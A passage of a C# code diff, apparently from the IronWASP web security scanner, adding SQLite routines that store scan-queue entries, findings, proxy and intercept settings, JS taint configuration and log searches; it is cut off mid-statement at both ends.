DB.CreateCommand()) + { + Cmd.CommandText = "UPDATE ScanQueue SET RequestHeaders=@RequestHeaders, RequestBody=@RequestBody, BinaryRequest=@BinaryRequest, Status=@Status, Method=@Method, URL=@URL, SessionPlugin=@SessionPlugin, InjectionPoints=@InjectionPoints, FormatPlugin=@FormatPlugin, ScanPlugins=@ScanPlugins, WorkflowToScan=@WorkflowToScan, LoginWorkflow=@LoginWorkflow WHERE ScanID=@ScanID"; + Cmd.Parameters.AddWithValue("@ScanID", ScanID); + Cmd.Parameters.AddWithValue("@RequestHeaders", Req.GetHeadersAsString()); + if(Req.IsBinary) + Cmd.Parameters.AddWithValue("@RequestBody", Req.BinaryBodyString); + else + Cmd.Parameters.AddWithValue("@RequestBody", Req.BodyString); + Cmd.Parameters.AddWithValue("@BinaryRequest", AsInt(Req.IsBinary)); + Cmd.Parameters.AddWithValue("@Status", Status); + Cmd.Parameters.AddWithValue("@Method", Req.Method); + Cmd.Parameters.AddWithValue("@URL", Req.FullUrl); + Cmd.Parameters.AddWithValue("@SessionPlugin", SessionPlugin); + Cmd.Parameters.AddWithValue("@InjectionPoints", InjectionPoints); + Cmd.Parameters.AddWithValue("@FormatPlugin", FormatPlugin); + Cmd.Parameters.AddWithValue("@ScanPlugins", ScanPlugins); + Cmd.Parameters.AddWithValue("@WorkflowToScan", JsonConvert.SerializeObject(new Dictionary() { { "WorkflowId", IdOfWorkflowToScan.ToString() }, { "RequestIndex", IndexOfRequestToScanInWorkflow.ToString() } })); + Cmd.Parameters.AddWithValue("@LoginWorkflow", LoginAndCsrfWorkflowId); + Cmd.ExecuteNonQuery(); + } + } + } + + internal static void UpdateScanStatus(int ScanID, string Status) + { + using(SQLiteConnection DB = new SQLiteConnection("data source=" + IronProjectFile)) + { + DB.Open(); + using(SQLiteCommand Cmd = DB.CreateCommand()) + { + Cmd.CommandText = "UPDATE ScanQueue SET Status=@Status WHERE ScanID=@ScanID"; + Cmd.Parameters.AddWithValue("@ScanID", ScanID); + Cmd.Parameters.AddWithValue("@Status", Status); + Cmd.ExecuteNonQuery(); + } + } + } + + internal static void UpdateScanStatus(List ScanIDs, string Status) + { + using(SQLiteConnection Log = new SQLiteConnection("data source=" + IronProjectFile)) + { + Log.Open(); + + using (SQLiteTransaction Create = Log.BeginTransaction()) + { + using (SQLiteCommand Cmd = new SQLiteCommand(Log)) + { + foreach (int ScanID in ScanIDs) + { + Cmd.CommandText = "UPDATE ScanQueue SET Status=@Status WHERE ScanID=@ScanID"; + Cmd.Parameters.AddWithValue("@ScanID", ScanID); + Cmd.Parameters.AddWithValue("@Status", Status); + Cmd.ExecuteNonQuery(); + } + } + Create.Commit(); + } + } + } + #endregion + + internal static void LogPluginResults(List Results) + { + using(SQLiteConnection Log = new SQLiteConnection("data source=" + PluginResultsLogFile)) + { + Log.Open(); + using (SQLiteTransaction Create = Log.BeginTransaction()) + { + using (SQLiteCommand Cmd = new SQLiteCommand(Log)) + { + foreach (Finding PR in Results) + { + Cmd.CommandText = "INSERT INTO Findings (ID, HostName, Title, FinderName, FinderType, ScanID, Meta, Summary, Severity, Confidence, Type, UniquenessString) VALUES (@ID, @HostName, @Title, @FinderName, @FinderType, @ScanID, @Meta, @Summary, @Severity, @Confidence, @Type, @UniquenessString)"; + Cmd.Parameters.AddWithValue("@ID", PR.Id); + Cmd.Parameters.AddWithValue("@HostName", PR.AffectedHost); + Cmd.Parameters.AddWithValue("@Title", PR.Title); + Cmd.Parameters.AddWithValue("@FinderName", PR.FinderName); + Cmd.Parameters.AddWithValue("@FinderType", PR.FinderType); + Cmd.Parameters.AddWithValue("@ScanID", PR.ScanId); + Cmd.Parameters.AddWithValue("@Meta", PR.XmlMeta); + Cmd.Parameters.AddWithValue("@Summary", PR.XmlSummary); + Cmd.Parameters.AddWithValue("@Severity", GetSeverity(PR.Severity)); + Cmd.Parameters.AddWithValue("@Confidence", GetConfidence(PR.Confidence)); + Cmd.Parameters.AddWithValue("@Type", GetResultType(PR.Type)); + Cmd.Parameters.AddWithValue("@UniquenessString", PR.Signature); + Cmd.ExecuteNonQuery(); + + Cmd.CommandText = "INSERT INTO Triggers (ID, TriggersEncoded, RequestTriggerDesc, RequestTrigger, RequestHeaders, RequestBody, BinaryRequest, ResponseTriggerDesc, ResponseTrigger, ResponseHeaders, ResponseBody, BinaryResponse, RoundTrip) VALUES (@ID, 1, @RequestTriggerDesc, @RequestTrigger, @RequestHeaders, @RequestBody, @BinaryRequest, @ResponseTriggerDesc, @ResponseTrigger, @ResponseHeaders, @ResponseBody, @BinaryResponse, @RoundTrip)"; + foreach (Trigger T in PR.Triggers.GetTriggers()) + { + Cmd.Parameters.AddWithValue("@ID", PR.Id); + Cmd.Parameters.AddWithValue("@RequestTriggerDesc", T.RequestTriggerDescription); + Cmd.Parameters.AddWithValue("@RequestTrigger", Tools.Base64Encode(T.RequestTrigger)); + Cmd.Parameters.AddWithValue("@RequestHeaders", T.Request.StoredHeadersString);// .GetHeadersAsString()); + if (T.Request.IsBinary) + Cmd.Parameters.AddWithValue("@RequestBody", T.Request.StoredBinaryBodyString); + else + Cmd.Parameters.AddWithValue("@RequestBody", T.Request.BodyString); + Cmd.Parameters.AddWithValue("@BinaryRequest", AsInt(T.Request.IsBinary)); + if (T.Response != null) + { + Cmd.Parameters.AddWithValue("@ResponseTriggerDesc", T.ResponseTriggerDescription); + Cmd.Parameters.AddWithValue("@ResponseTrigger", Tools.Base64Encode(T.ResponseTrigger)); + Cmd.Parameters.AddWithValue("@ResponseHeaders", T.Response.StoredHeadersString);// .GetHeadersAsString()); + if (T.Response.IsBinary) + Cmd.Parameters.AddWithValue("@ResponseBody", T.Response.StoredBinaryBodyString); + else + Cmd.Parameters.AddWithValue("@ResponseBody", T.Response.BodyString); + Cmd.Parameters.AddWithValue("@BinaryResponse", AsInt(T.Response.IsBinary)); + Cmd.Parameters.AddWithValue("@RoundTrip", T.Response.RoundTrip); + } + else + { + Cmd.Parameters.AddWithValue("@ResponseTriggerDesc", ""); + Cmd.Parameters.AddWithValue("@ResponseTrigger", ""); + Cmd.Parameters.AddWithValue("@ResponseHeaders", ""); + Cmd.Parameters.AddWithValue("@ResponseBody", ""); + Cmd.Parameters.AddWithValue("@BinaryResponse", ""); + Cmd.Parameters.AddWithValue("@RoundTrip", 0); + } + Cmd.ExecuteNonQuery(); + } + if (PR.FromActiveScan) + { + try + { + Cmd.CommandText = "INSERT INTO BaseLine (FindingID, RequestHeaders, RequestBody, BinaryRequest, ResponseHeaders, ResponseBody, BinaryResponse, RoundTrip) VALUES (@FindingID, @RequestHeaders, @RequestBody, @BinaryRequest, @ResponseHeaders, @ResponseBody, @BinaryResponse, @RoundTrip)"; + Cmd.Parameters.AddWithValue("@FindingID", PR.Id); + Cmd.Parameters.AddWithValue("@RequestHeaders", PR.BaseRequest.StoredHeadersString); + if(PR.BaseRequest.IsBinary) + Cmd.Parameters.AddWithValue("@RequestBody", PR.BaseRequest.StoredBinaryBodyString); + else + Cmd.Parameters.AddWithValue("@RequestBody", PR.BaseRequest.BodyString); + Cmd.Parameters.AddWithValue("@BinaryRequest", AsInt(PR.BaseRequest.IsBinary)); + Cmd.Parameters.AddWithValue("@ResponseHeaders", PR.BaseResponse.StoredHeadersString); + if (PR.BaseResponse.IsBinary) + Cmd.Parameters.AddWithValue("@ResponseBody", PR.BaseResponse.StoredBinaryBodyString); + else + Cmd.Parameters.AddWithValue("@ResponseBody", PR.BaseResponse.BodyString); + Cmd.Parameters.AddWithValue("@BinaryResponse", AsInt(PR.BaseResponse.IsBinary)); + Cmd.Parameters.AddWithValue("@RoundTrip", PR.BaseResponse.RoundTrip); + Cmd.ExecuteNonQuery(); + } + catch { } + } + } + } + Create.Commit(); + } + } + } + internal static void LogException(IronException IrEx) + { + using(SQLiteConnection DB = new SQLiteConnection("data source=" + ExceptionsLogFile)) + { + DB.Open(); + using(SQLiteCommand Cmd = DB.CreateCommand()) + { + Cmd.CommandText = "INSERT INTO Exceptions (ID, Title, Message, StackTrace) VALUES (@ID, @Title, @Message, @StackTrace)"; + Cmd.Parameters.AddWithValue("@ID", IrEx.ID); + Cmd.Parameters.AddWithValue("@Title", IrEx.Title); + Cmd.Parameters.AddWithValue("@Message", IrEx.Message); + Cmd.Parameters.AddWithValue("@StackTrace", IrEx.StackTrace); + Cmd.ExecuteNonQuery(); + } + } + } + + #region StoreConfig + internal static void StoreProxyConfig() + { + using(SQLiteConnection DB = new SQLiteConnection("data source=" + ConfigFile)) + { + DB.Open(); + using (SQLiteTransaction Create = DB.BeginTransaction()) + { + using (SQLiteCommand Cmd = new SQLiteCommand(DB)) + { + Cmd.CommandText = "DELETE FROM IronProxy"; + Cmd.ExecuteNonQuery(); + + Cmd.CommandText = "INSERT INTO IronProxy (LoopBack, SystemProxy, Port) VALUES (@LoopBack, @SystemProxy, @Port)"; + Cmd.Parameters.AddWithValue("@LoopBack", AsInt(IronProxy.LoopBackOnly)); + Cmd.Parameters.AddWithValue("@SystemProxy", AsInt(IronProxy.SystemProxy)); + Cmd.Parameters.AddWithValue("@Port", IronProxy.Port.ToString()); + Cmd.ExecuteNonQuery(); + } + Create.Commit(); + } + } + } + + internal static void StoreUpstreamProxyConfig() + { + using(SQLiteConnection DB = new SQLiteConnection("data source=" + ConfigFile)) + { + DB.Open(); + + using (SQLiteTransaction Create = DB.BeginTransaction()) + { + using (SQLiteCommand Cmd = new SQLiteCommand(DB)) + { + Cmd.CommandText = "DELETE FROM UpstreamProxy"; + Cmd.ExecuteNonQuery(); + + Cmd.CommandText = "INSERT INTO UpstreamProxy (Use, IP, Port) VALUES (@Use, @IP, @Port)"; + if (IronProxy.UseSystemProxyAsUpStreamProxy) + { + Cmd.Parameters.AddWithValue("@Use", 2); + } + else if (IronProxy.UseUpstreamProxy) + { + Cmd.Parameters.AddWithValue("@Use", 1); + } + else + { + Cmd.Parameters.AddWithValue("@Use", 0); + } + Cmd.Parameters.AddWithValue("@IP", IronProxy.UpstreamProxyIP); + Cmd.Parameters.AddWithValue("@Port", IronProxy.UpstreamProxyPort.ToString()); + Cmd.ExecuteNonQuery(); + } + Create.Commit(); + } + } + } + + internal static void StoreRequestTextContentTypesConfig() + { + using(SQLiteConnection DB = new SQLiteConnection("data source=" + ConfigFile)) + { + DB.Open(); + using (SQLiteTransaction Create = DB.BeginTransaction()) + { + using (SQLiteCommand Cmd = new SQLiteCommand(DB)) + { + Cmd.CommandText = "DELETE FROM TextRequestTypes"; + Cmd.ExecuteNonQuery(); + foreach (string Type in Request.TextContentTypes) + { + Cmd.CommandText = "INSERT INTO TextRequestTypes (Type) VALUES (@Type)"; + Cmd.Parameters.AddWithValue("@Type", Type); + Cmd.ExecuteNonQuery(); + } + } + Create.Commit(); + } + } + } + + internal static void StoreResponseTextContentTypesConfig() + { + using(SQLiteConnection DB = new SQLiteConnection("data source=" + ConfigFile)) + { + DB.Open(); + using (SQLiteTransaction Create = DB.BeginTransaction()) + { + using (SQLiteCommand Cmd = new SQLiteCommand(DB)) + { + Cmd.CommandText = "DELETE FROM TextResponseTypes"; + Cmd.ExecuteNonQuery(); + foreach (string Type in Response.TextContentTypes) + { + Cmd.CommandText = "INSERT INTO TextResponseTypes (Type) VALUES (@Type)"; + Cmd.Parameters.AddWithValue("@Type", Type); + Cmd.ExecuteNonQuery(); + } + } + Create.Commit(); + } + } + } + + internal static void StoreScriptPathsConfig() + { + using(SQLiteConnection DB = new SQLiteConnection("data source=" + ConfigFile)) + { + DB.Open(); + using (SQLiteTransaction Create = DB.BeginTransaction()) + { + using (SQLiteCommand Cmd = new SQLiteCommand(DB)) + { + Cmd.CommandText = "DELETE FROM PyPath"; + Cmd.ExecuteNonQuery(); + Cmd.CommandText = "DELETE FROM RbPath"; + Cmd.ExecuteNonQuery(); + foreach (string Path in IronScripting.PyPaths) + { + Cmd.CommandText = "INSERT INTO PyPath (Path) VALUES (@Path)"; + Cmd.Parameters.AddWithValue("@Path", Path); + Cmd.ExecuteNonQuery(); + } + foreach (string Path in IronScripting.RbPaths) + { + Cmd.CommandText = "INSERT INTO RbPath (Path) VALUES (@Path)"; + Cmd.Parameters.AddWithValue("@Path", Path); + Cmd.ExecuteNonQuery(); + } + } + Create.Commit(); + } + } + } + + internal static void StoreScriptCommandsConfig() + { + using(SQLiteConnection DB = new SQLiteConnection("data source=" + ConfigFile)) + { + DB.Open(); + using (SQLiteTransaction Create = DB.BeginTransaction()) + { + using (SQLiteCommand Cmd = new SQLiteCommand(DB)) + { + Cmd.CommandText = "DELETE FROM PyStartCommands"; + Cmd.ExecuteNonQuery(); + Cmd.CommandText = "DELETE FROM RbStartCommands"; + Cmd.ExecuteNonQuery(); + foreach (string Command in IronScripting.PyCommands) + { + Cmd.CommandText = "INSERT INTO PyStartCommands (Command) VALUES (@Command)"; + Cmd.Parameters.AddWithValue("@Command", Command); + Cmd.ExecuteNonQuery(); + } + foreach (string Command in IronScripting.RbCommands) + { + Cmd.CommandText = "INSERT INTO RbStartCommands (Command) VALUES (@Command)"; + Cmd.Parameters.AddWithValue("@Command", Command); + Cmd.ExecuteNonQuery(); + } + } + Create.Commit(); + } + } + } + + internal static void StoreInterceptRules() + { + using(SQLiteConnection DB = new SQLiteConnection("data source=" + ConfigFile)) + { + DB.Open(); + using (SQLiteTransaction Create = DB.BeginTransaction()) + { + using (SQLiteCommand Cmd = new SQLiteCommand(DB)) + { + Cmd.CommandText = "DELETE FROM InterceptRules"; + Cmd.ExecuteNonQuery(); + + Cmd.CommandText = "INSERT INTO InterceptRules (Get, Post, OtherMethods, Html, JS, CSS, Xml, JSON, OtherText, Img, OtherBinary, Code200, Code2xx, Code301_2, Code3xx, Code403, Code4xx, Code500, Code5xx, FileExt, FileExtPlus, FileExtMinus, PlusFileExts, MinusFileExts, Host, HostPlus, HostMinus, PlusHosts, MinusHosts, RequestKeyword, RequestKeywordPlus, RequestKeywordMinus, PlusRequestKeyword, MinusRequestKeyword, ResponseKeyword, ResponseKeywordPlus, ResponseKeywordMinus, PlusResponseKeyword, MinusResponseKeyword, RequestRulesOnResponse) VALUES (@Get, @Post, @OtherMethods, @Html, @JS, @CSS, @Xml, @JSON, @OtherText, @Img, @OtherBinary, @Code200, @Code2xx, @Code301_2, @Code3xx, @Code403, @Code4xx, @Code500, @Code5xx, @FileExt, @FileExtPlus, @FileExtMinus, @PlusFileExts, @MinusFileExts, @Host, @HostPlus, @HostMinus, @PlusHosts, @MinusHosts, @RequestKeyword, @RequestKeywordPlus, @RequestKeywordMinus, @PlusRequestKeyword, @MinusRequestKeyword, @ResponseKeyword, @ResponseKeywordPlus, @ResponseKeywordMinus, @PlusResponseKeyword, @MinusResponseKeyword, @RequestRulesOnResponse)"; + Cmd.Parameters.AddWithValue("@Get", AsInt(IronProxy.InterceptGET)); + Cmd.Parameters.AddWithValue("@Post", AsInt(IronProxy.InterceptPOST)); + Cmd.Parameters.AddWithValue("@OtherMethods", AsInt(IronProxy.InterceptOtherMethods)); + Cmd.Parameters.AddWithValue("@Html", AsInt(IronProxy.InterceptHTML)); + Cmd.Parameters.AddWithValue("@JS", AsInt(IronProxy.InterceptJS)); + Cmd.Parameters.AddWithValue("@CSS", AsInt(IronProxy.InterceptCSS)); + Cmd.Parameters.AddWithValue("@Xml", AsInt(IronProxy.InterceptXML)); + Cmd.Parameters.AddWithValue("@JSON", AsInt(IronProxy.InterceptJSON)); + Cmd.Parameters.AddWithValue("@OtherText", AsInt(IronProxy.InterceptOtherText)); + Cmd.Parameters.AddWithValue("@Img", AsInt(IronProxy.InterceptImg)); + Cmd.Parameters.AddWithValue("@OtherBinary", AsInt(IronProxy.InterceptOtherBinary)); + Cmd.Parameters.AddWithValue("@Code200", AsInt(IronProxy.Intercept200)); + Cmd.Parameters.AddWithValue("@Code2xx", AsInt(IronProxy.Intercept2xx)); + Cmd.Parameters.AddWithValue("@Code301_2", AsInt(IronProxy.Intercept301_2)); + Cmd.Parameters.AddWithValue("@Code3xx", AsInt(IronProxy.Intercept3xx)); + Cmd.Parameters.AddWithValue("@Code403", AsInt(IronProxy.Intercept403)); + Cmd.Parameters.AddWithValue("@Code4xx", AsInt(IronProxy.Intercept4xx)); + Cmd.Parameters.AddWithValue("@Code500", AsInt(IronProxy.Intercept500)); + Cmd.Parameters.AddWithValue("@Code5xx", AsInt(IronProxy.Intercept5xx)); + Cmd.Parameters.AddWithValue("@FileExt", AsInt(IronProxy.InterceptCheckFileExtensions)); + Cmd.Parameters.AddWithValue("@FileExtPlus", AsInt(IronProxy.InterceptCheckFileExtensionsPlus)); + Cmd.Parameters.AddWithValue("@FileExtMinus", AsInt(IronProxy.InterceptCheckFileExtensionsMinus)); + Cmd.Parameters.AddWithValue("@PlusFileExts", Tools.ListToCsv(IronProxy.InterceptFileExtensions)); + Cmd.Parameters.AddWithValue("@MinusFileExts", Tools.ListToCsv(IronProxy.DontInterceptFileExtensions)); + Cmd.Parameters.AddWithValue("@Host", AsInt(IronProxy.InterceptCheckHostNames)); + Cmd.Parameters.AddWithValue("@HostPlus", AsInt(IronProxy.InterceptCheckHostNamesPlus)); + Cmd.Parameters.AddWithValue("@HostMinus", AsInt(IronProxy.InterceptCheckHostNamesMinus)); + Cmd.Parameters.AddWithValue("@PlusHosts", Tools.ListToCsv(IronProxy.InterceptHostNames)); + Cmd.Parameters.AddWithValue("@MinusHosts", Tools.ListToCsv(IronProxy.DontInterceptHostNames)); + Cmd.Parameters.AddWithValue("@RequestKeyword", AsInt(IronProxy.InterceptCheckRequestWithKeyword)); + Cmd.Parameters.AddWithValue("@RequestKeywordPlus", AsInt(IronProxy.InterceptCheckRequestWithKeywordPlus)); + Cmd.Parameters.AddWithValue("@RequestKeywordMinus", AsInt(IronProxy.InterceptCheckRequestWithKeywordMinus)); + Cmd.Parameters.AddWithValue("@PlusRequestKeyword", IronProxy.InterceptRequestWithKeyword); + Cmd.Parameters.AddWithValue("@MinusRequestKeyword", IronProxy.DontInterceptRequestWithKeyword); + Cmd.Parameters.AddWithValue("@ResponseKeyword", AsInt(IronProxy.InterceptCheckResponseWithKeyword)); + Cmd.Parameters.AddWithValue("@ResponseKeywordPlus", AsInt(IronProxy.InterceptCheckResponseWithKeywordPlus)); + Cmd.Parameters.AddWithValue("@ResponseKeywordMinus", AsInt(IronProxy.InterceptCheckResponseWithKeywordMinus)); + Cmd.Parameters.AddWithValue("@PlusResponseKeyword", IronProxy.InterceptResponseWithKeyword); + Cmd.Parameters.AddWithValue("@MinusResponseKeyword", IronProxy.DontInterceptResponseWithKeyword); + Cmd.Parameters.AddWithValue("@RequestRulesOnResponse", AsInt(IronProxy.RequestRulesOnResponse)); + Cmd.ExecuteNonQuery(); + } + Create.Commit(); + } + } + } + + internal static void StoreDisplayRules() + { + using(SQLiteConnection DB = new SQLiteConnection("data source=" + ConfigFile)) + { + DB.Open(); + using (SQLiteTransaction Create = DB.BeginTransaction()) + { + using (SQLiteCommand Cmd = new SQLiteCommand(DB)) + { + Cmd.CommandText = "DELETE FROM DisplayRules"; + Cmd.ExecuteNonQuery(); + + Cmd.CommandText = "INSERT INTO DisplayRules (Get, Post, OtherMethods, Html, JS, CSS, Xml, JSON, OtherText, Img, OtherBinary, Code200, Code2xx, Code301_2, Code3xx, Code403, Code4xx, Code500, Code5xx, FileExt, FileExtPlus, FileExtMinus, PlusFileExts, MinusFileExts, Host, HostPlus, HostMinus, PlusHosts, MinusHosts) VALUES (@Get, @Post, @OtherMethods, @Html, @JS, @CSS, @Xml, @JSON, @OtherText, @Img, @OtherBinary, @Code200, @Code2xx, @Code301_2, @Code3xx, @Code403, @Code4xx, @Code500, @Code5xx, @FileExt, @FileExtPlus, @FileExtMinus, @PlusFileExts, @MinusFileExts, @Host, @HostPlus, @HostMinus, @PlusHosts, @MinusHosts)"; + Cmd.Parameters.AddWithValue("@Get", AsInt(IronProxy.DisplayGET)); + Cmd.Parameters.AddWithValue("@Post", AsInt(IronProxy.DisplayPOST)); + Cmd.Parameters.AddWithValue("@OtherMethods", AsInt(IronProxy.DisplayOtherMethods)); + Cmd.Parameters.AddWithValue("@Html", AsInt(IronProxy.DisplayHTML)); + Cmd.Parameters.AddWithValue("@JS", AsInt(IronProxy.DisplayJS)); + Cmd.Parameters.AddWithValue("@CSS", AsInt(IronProxy.DisplayCSS)); + Cmd.Parameters.AddWithValue("@Xml", AsInt(IronProxy.DisplayXML)); + Cmd.Parameters.AddWithValue("@JSON", AsInt(IronProxy.DisplayJSON)); + Cmd.Parameters.AddWithValue("@OtherText", AsInt(IronProxy.DisplayOtherText)); + Cmd.Parameters.AddWithValue("@Img", AsInt(IronProxy.DisplayImg)); + Cmd.Parameters.AddWithValue("@OtherBinary", AsInt(IronProxy.DisplayOtherBinary)); + Cmd.Parameters.AddWithValue("@Code200", AsInt(IronProxy.Display200)); + Cmd.Parameters.AddWithValue("@Code2xx", AsInt(IronProxy.Display2xx)); + Cmd.Parameters.AddWithValue("@Code301_2", AsInt(IronProxy.Display301_2)); + Cmd.Parameters.AddWithValue("@Code3xx", AsInt(IronProxy.Display3xx)); + Cmd.Parameters.AddWithValue("@Code403", AsInt(IronProxy.Display403)); + Cmd.Parameters.AddWithValue("@Code4xx", AsInt(IronProxy.Display4xx)); + Cmd.Parameters.AddWithValue("@Code500", AsInt(IronProxy.Display500)); + Cmd.Parameters.AddWithValue("@Code5xx", AsInt(IronProxy.Display5xx)); + Cmd.Parameters.AddWithValue("@FileExt", AsInt(IronProxy.DisplayCheckFileExtensions)); + Cmd.Parameters.AddWithValue("@FileExtPlus", AsInt(IronProxy.DisplayCheckFileExtensionsPlus)); + Cmd.Parameters.AddWithValue("@FileExtMinus", AsInt(IronProxy.DisplayCheckFileExtensionsMinus)); + Cmd.Parameters.AddWithValue("@PlusFileExts", Tools.ListToCsv(IronProxy.DisplayFileExtensions)); + Cmd.Parameters.AddWithValue("@MinusFileExts", Tools.ListToCsv(IronProxy.DontDisplayFileExtensions)); + Cmd.Parameters.AddWithValue("@Host", AsInt(IronProxy.DisplayCheckHostNames)); + Cmd.Parameters.AddWithValue("@HostPlus", AsInt(IronProxy.DisplayCheckHostNamesPlus)); + Cmd.Parameters.AddWithValue("@HostMinus", AsInt(IronProxy.DisplayCheckHostNamesMinus)); + Cmd.Parameters.AddWithValue("@PlusHosts", Tools.ListToCsv(IronProxy.DisplayHostNames)); + Cmd.Parameters.AddWithValue("@MinusHosts", Tools.ListToCsv(IronProxy.DontDisplayHostNames)); + Cmd.ExecuteNonQuery(); + } + Create.Commit(); + } + } + } + + internal static void StoreJSTaintConfig() + { + using(SQLiteConnection DB = new SQLiteConnection("data source=" + ConfigFile)) + { + DB.Open(); + using (SQLiteTransaction Create = DB.BeginTransaction()) + { + using (SQLiteCommand Cmd = new SQLiteCommand(DB)) + { + Cmd.CommandText = "DELETE FROM JSTaintConfig"; + Cmd.ExecuteNonQuery(); + + List> Lists = new List>() { new List(IronJint.DefaultSourceObjects), new List(IronJint.DefaultSinkObjects), new List(IronJint.DefaultSourceReturningMethods), new List(IronJint.DefaultSinkReturningMethods), new List(IronJint.DefaultArgumentReturningMethods), new List(IronJint.DefaultArgumentAssignedASourceMethods), new List(IronJint.DefaultArgumentAssignedToSinkMethods) }; + int MaxCount = 0; + foreach (List List in Lists) + { + if (List.Count > MaxCount) MaxCount = List.Count; + } + foreach (List List in Lists) + { + while (List.Count < MaxCount) + { + List.Add(""); + } + } + Cmd.CommandText = "INSERT INTO JSTaintConfig (SourceObjects, SinkObjects, ArgumentAssignedASourceMethods, ArgumentAssignedToSinkMethods, SourceReturningMethods, SinkReturningMethods, ArgumentReturningMethods) VALUES (@SourceObjects, @SinkObjects, @ArgumentAssignedASourceMethods, @ArgumentAssignedToSinkMethods, @SourceReturningMethods, @SinkReturningMethods, @ArgumentReturningMethods)"; + for (int i = 0; i < MaxCount; i++) + { + Cmd.Parameters.AddWithValue("@SourceObjects", Lists[0][i]); + Cmd.Parameters.AddWithValue("@SinkObjects", Lists[1][i]); + Cmd.Parameters.AddWithValue("@ArgumentAssignedASourceMethods", Lists[5][i]); + Cmd.Parameters.AddWithValue("@ArgumentAssignedToSinkMethods", Lists[6][i]); + Cmd.Parameters.AddWithValue("@SourceReturningMethods", Lists[2][i]); + Cmd.Parameters.AddWithValue("@SinkReturningMethods", Lists[3][i]); + Cmd.Parameters.AddWithValue("@ArgumentReturningMethods", Lists[4][i]); + Cmd.ExecuteNonQuery(); + } + } + Create.Commit(); + } + } + } + + internal static void StoreScannerSettings() + { + using(SQLiteConnection DB = new SQLiteConnection("data source=" + ConfigFile)) + { + DB.Open(); + using (SQLiteTransaction Create = DB.BeginTransaction()) + { + using (SQLiteCommand Cmd = new SQLiteCommand(DB)) + { + Cmd.CommandText = "DELETE FROM ScannerSettings"; + Cmd.ExecuteNonQuery(); + + Cmd.CommandText = "INSERT INTO ScannerSettings (MaxScannerThreads, MaxCrawlerThreads, UserAgent) VALUES (@MaxScannerThreads, @MaxCrawlerThreads, @UserAgent)"; + Cmd.Parameters.AddWithValue("@MaxScannerThreads", Scanner.MaxParallelScanCount); + Cmd.Parameters.AddWithValue("@MaxCrawlerThreads", Crawler.MaxCrawlThreads); + Cmd.Parameters.AddWithValue("@UserAgent", Crawler.UserAgent); + Cmd.ExecuteNonQuery(); + } + Create.Commit(); + } + } + } + + internal static void StorePassiveAnalysisSettings() + { + using(SQLiteConnection DB = new SQLiteConnection("data source=" + ConfigFile)) + { + DB.Open(); + using (SQLiteTransaction Create = DB.BeginTransaction()) + { + using (SQLiteCommand Cmd = new SQLiteCommand(DB)) + { + Cmd.CommandText = "DELETE FROM PassiveAnalysisSettings"; + Cmd.ExecuteNonQuery(); + + Cmd.CommandText = "INSERT INTO PassiveAnalysisSettings (Proxy, Shell, Test, Scan, Probe) VALUES (@Proxy, @Shell, @Test, @Scan, @Probe)"; + Cmd.Parameters.AddWithValue("@Proxy", AsInt(PassiveChecker.RunOnProxyTraffic)); + Cmd.Parameters.AddWithValue("@Shell", AsInt(PassiveChecker.RunOnShellTraffic)); + Cmd.Parameters.AddWithValue("@Test", AsInt(PassiveChecker.RunOnTestTraffic)); + Cmd.Parameters.AddWithValue("@Scan", AsInt(PassiveChecker.RunOnScanTraffic)); + Cmd.Parameters.AddWithValue("@Probe", AsInt(PassiveChecker.RunOnProbeTraffic)); + Cmd.ExecuteNonQuery(); + } + Create.Commit(); + } + } + } + + internal static void StoreCharacterEscapingRules() + { + using(SQLiteConnection DB = new SQLiteConnection("data source=" + ConfigFile)) + { + DB.Open(); + using (SQLiteTransaction Create = DB.BeginTransaction()) + { + using (SQLiteCommand Cmd = new SQLiteCommand(DB)) + { + Cmd.CommandText = "DELETE FROM CharacterEscapingRules"; + Cmd.ExecuteNonQuery(); + foreach (string[] Rule in Scanner.UserSpecifiedEncodingRuleList) + { + Cmd.CommandText = "INSERT INTO CharacterEscapingRules (RawCharacter, EncodedCharacter) VALUES (@RawCharacter, @EncodedCharacter)"; + Cmd.Parameters.AddWithValue("@RawCharacter", Rule[0]); + Cmd.Parameters.AddWithValue("@EncodedCharacter", Rule[1]); + Cmd.ExecuteNonQuery(); + } + } + Create.Commit(); + } + } + } + + internal static void StoreParametersBlackList() + { + using(SQLiteConnection DB = new SQLiteConnection("data source=" + ConfigFile)) + { + DB.Open(); + using (SQLiteTransaction Create = DB.BeginTransaction()) + { + using (SQLiteCommand Cmd = new SQLiteCommand(DB)) + { + Cmd.CommandText = "DELETE FROM ParametersBlackList"; + Cmd.ExecuteNonQuery(); + foreach (string ParameterName in StartScanJobWizard.ParametersBlackList) + { + Cmd.CommandText = "INSERT INTO ParametersBlackList (ParameterSection, ParameterName) VALUES (@ParameterSection, @ParameterName)"; + Cmd.Parameters.AddWithValue("@ParameterSection", "All"); + Cmd.Parameters.AddWithValue("@ParameterName", ParameterName); + Cmd.ExecuteNonQuery(); + } + } + Create.Commit(); + } + } + } + #endregion + + #region Search DB + internal static List SearchLogs(LogSearchQuery Query, int MinId, int MaxId) + { + List Results = new List(); + string DataSource = string.Format("data source={0}",GetLogSourceFileName(Query.LogSource)); + string QueryWithoutIds = GetQueryWithoutIdsParts(Query); + string FullQuery = string.Format(QueryWithoutIds, GetLogIdsRangeSearchQueryPart(MinId, MaxId)); + return SearchDB(DataSource, FullQuery, Query); + } + internal static List SearchLogs(LogSearchQuery Query, List LogIds, int StartIndex, int Count) + { + List Results = new List(); + string DataSource = string.Format("data source={0}", GetLogSourceFileName(Query.LogSource)); + string QueryWithoutIds = GetQueryWithoutIdsParts(Query); + string FullQuery = string.Format(QueryWithoutIds, GetLogIdsRangeSearchQueryPart(LogIds, StartIndex, Count)); + return SearchDB(DataSource, FullQuery, Query); + } + internal static List SearchLogs(LogSearchQuery Query, int ScanID) + { + List Results = new List(); + string DataSource = string.Format("data source={0}", GetLogSourceFileName(Query.LogSource)); + string QueryWithoutIds = GetQueryWithoutIdsParts(Query); + string FullQuery = string.Format(QueryWithoutIds, GetLogIdsRangeSearchQueryPart(ScanID)); + return SearchDB(DataSource, FullQuery, Query); + } + + static List SearchDB(string DataSource, string CmdString, LogSearchQuery Query) + { + List IronLogRecords = new List(); + using(SQLiteConnection DB = new SQLiteConnection(DataSource)) + { + DB.Open(); + using (SQLiteCommand cmd = DB.CreateCommand()) + { + cmd.CommandText = CmdString; + if (Query.UrlMatchString.Length > 0) + { + cmd.Parameters.AddWithValue("@UrlMatchKeyword", GetUrlSearchQueryValuePart(Query.UrlMatchMode, Query.UrlMatchString)); + } + if (Query.Keyword.Length > 0) + { + cmd.Parameters.AddWithValue("@Keyword", string.Format("%{0}%", Query.Keyword)); + } + + if (Query.MethodsToCheck.Count > 0) + { + for (int i = 0; i < 